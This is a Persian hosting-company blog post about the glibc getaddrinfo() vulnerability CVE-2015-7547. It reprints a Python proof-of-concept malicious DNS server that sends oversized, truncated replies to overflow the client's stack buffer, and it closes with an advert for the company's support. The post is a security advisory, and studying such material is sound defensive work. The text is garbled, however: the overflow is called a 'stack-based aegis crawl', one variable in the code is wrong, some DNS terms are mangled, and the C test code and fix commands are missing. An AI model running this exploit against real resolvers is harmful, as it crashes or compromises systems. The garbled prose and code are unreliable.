هاستینگ

آسیب پذیری امنیتی جدید در کتابخانه glibc

glibc_exploit-640x343

دیروز یک آسیب پذیری امنیتی سطح بالا (critical) از کتابخانه glibc موجود در اکثر توزیع های رایج لینوکسی توسط محققین امنیتی شرکت گوگل کشف شد.

glibc کتابخانه های استاندارد C مثل libc و libm و … را فراهم می کند که استفاده بسیار گسترده ای در سرورها و سیستم عامل لینوکس دارند.

این آسیب پذیری که CVE-2015-7547 را به خود اختصاص داده در تابع getaddrinfo() کشف شده است و به هکر اجازه می دهد یک حمله ی stack-based aegis crawl را به صورت internal و یا حتی remote به اجرا بگذارد. مسئله مهمی که اهمیت بالای این آسیب پذیری را نشان می دهد گستردگی استفاده از این تابع آسیب پذیر در برنامه های سیستمی و نرم افزارهای سروری هست. برای مثال از سرویس هایی که در حال حاضر آسیب پذیر هستند می توان به connect اشاره کرد که در اکثر سرورهای هاستینگ به عنوان dns server استفاده می شود.

توزیع ها و نسخه های آسیب پذیر:

در حال حاضر نسخه های برپایه RedHat در ورژن های ۳-۴-۵ آسیب پیذیر نیستند. طبق اعلام سایت redhat نسخه های زیر آسیب پذیرند:

نسخه های آسیب پذیر بر پایه Debian را در جدول زیر مشاهده می کنید:

تست آسیب پذیری:

جهت تست آسیب پذیری یکی از دو کد تستی که در پایین ذکر خواهد شد را اجرا کنید تا از آسیب پذیر بودن کتابخانه glibc سرور خود مطمئن شوید.

C:

Python:

#!/usr/bin/python

import socket
import time
import struct
import threading
IP = ‘127.0.0.1’ # Insert your ip for bind() here…
ANSWERS1 = 184
terminate = False
last_reply = None
reply_now = threading.Event()
def dw(x):
return struct.pack(‘H’, x)
def dd(x):
return struct.pack(‘I’, x)
def dl(x):
return struct.pack(‘Q’, x)
def db(x):
return chr(x)
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
reply_counter = 0
counter = -1
answers = []
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print ‘[UDP] Total Data len recv ‘ + str(len(data))
id_udp = struct.unpack(‘H’, data[0:2])[0]
query_udp = data[12:]
# Send truncated flag… so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
data += ‘x00’ * 2500 # Need a prolonged DNS response to force malloc
answers.append((data, addr))
if len(answers) != 2:
continue
counter += 1
if opposite % 4 == 2:
answers = answers[::-1]
time.sleep(0.01)
sock_udp.sendto(*answers.pop(0))
reply_now.wait()
sock_udp.sendto(*answers.pop(0))
sock_udp.close()
def tcp_thread():
global terminate
counter = -1
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
while not terminate:
conn, addr = sock_tcp.accept()
counter += 1
print ‘Connected with ‘ + addr[0] + ‘:’ + str(addr[1])
# Read whole packet
data = conn.recv(1024)
print ‘[TCP] Total Data len recv ‘ + str(len(data))
reqlen1 = socket.ntohs(struct.unpack(‘H’, data[0:2])[0])
print ‘[TCP] Request1 len recv ‘ + str(reqlen1)
data1 = data[2:2+reqlen1]
id1 = struct.unpack(‘H’, data1[0:2])[0]
query1 = data[12:]
# Do we have an additional request?
data2 = None
if len(data) 2+reqlen1:
reqlen2 = socket.ntohs(struct.unpack(‘H’, data[2+reqlen1:2+reqlen1+2])[0])
print ‘[TCP] Request2 len recv ‘ + str(reqlen2)
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
id2 = struct.unpack(‘H’, data2[0:2])[0]
query2 = data2[12:]
# Reply them on opposite packets
data = ”
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw(1) # questions
data += dw(ANSWERS1) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query1 # question
for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw(1) # form A
answer += dw(1) # class
answer += dd(13) # ttl
answer += dw(4) # information length
answer += ‘D’ * 4 # data
data += answer
data1_reply = dw(len(data)) + data
if data2:
data = ”
data += dw(id2)
data += ‘B’ * (2300)
data2_reply = dw(len(data)) + data
else:
data2_reply = None
reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
time.sleep(0.01)
if data2:
conn.sendall(data2_reply)
reply_now.clear()
sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()
if __name__ == “__main__”:
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True

کدهای بالا را در فایل glibc-test.c و glibc-test.py ذخیره کنید. جهت کامپایل کد c از دستورات زیر اجرا کنید:

جهت تفسیر و اجرای کد python از دستور زیر استفاده کنید:

رفع آسیب پذیری:

برای رفع آسیب پذیری در توزیع های مبتنی بر RedHat (Fedora, CentOS, CloudLinux,…) از دستور زیر استفاده کنید:

رفع آسیب پذیری در توزیع های میبتنی بر Debian:

 

پس از برطرف کردن آسیب پذیری باید بسیاری از سرویس ها را restart کنید تا از نسخه ی اطلاح شده کتابخانه استفاده کنند البته در صورتی که میزان بالای آپتایم برای شما زیاد مهم نیست می توانید از ریبوت استفاده کنید.

در حال حاضر مشکل امنیتی مربوطه در تمامی سرورهای میزبان آنلاین برطرف شده است. کاربران سرویس های مدیریت سرور میزبان آنلاین نیازی به انجام کار خاصی ندارند و مشکل مربوطه توسط متخصصین ما در سرورهای شما برطرف شده است. همچنین تمامی مشتریان کانفیگ سرور امروز ایمیلی دریافت کرده اند که در صورت تمایل دسترسی های لازم را برای پشتیبانی فنی ارسال کنید تا به صورت رایگان مورد مربوطه را بررسی کنیم.

جهت رفع آسیب پذیری و بررسی مشکلات امنیتی, بهینه سازی سرویس ها و کانفیگ های مورد نیاز از طریق لینک زیر و یا ایمیل با تیم پشتیبانی فنی میزبان آنلاین در ارتباط باشید:

http://my.mizbanonline.com/submitticket.php?step=2deptid=1

Technical Support

مطالب مشابه

   
اگر نیاز به سئو و بهینه سازی قالب وردپرس دارید طراح وردپرس می تواند این کار را در سریع ترین زمان ممکن برای شما انجام دهد، کافیست از قسمت سفارش طراحی قالب وردپرس سفارش خود را ثبت نمایید. طراح وردپرس علاوه بر طراحی پوسته وردپرس ، قالب شرکتی وردپرس نیز طراحی می کند.
سفارش طراحی قالب وردپرس
 

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد.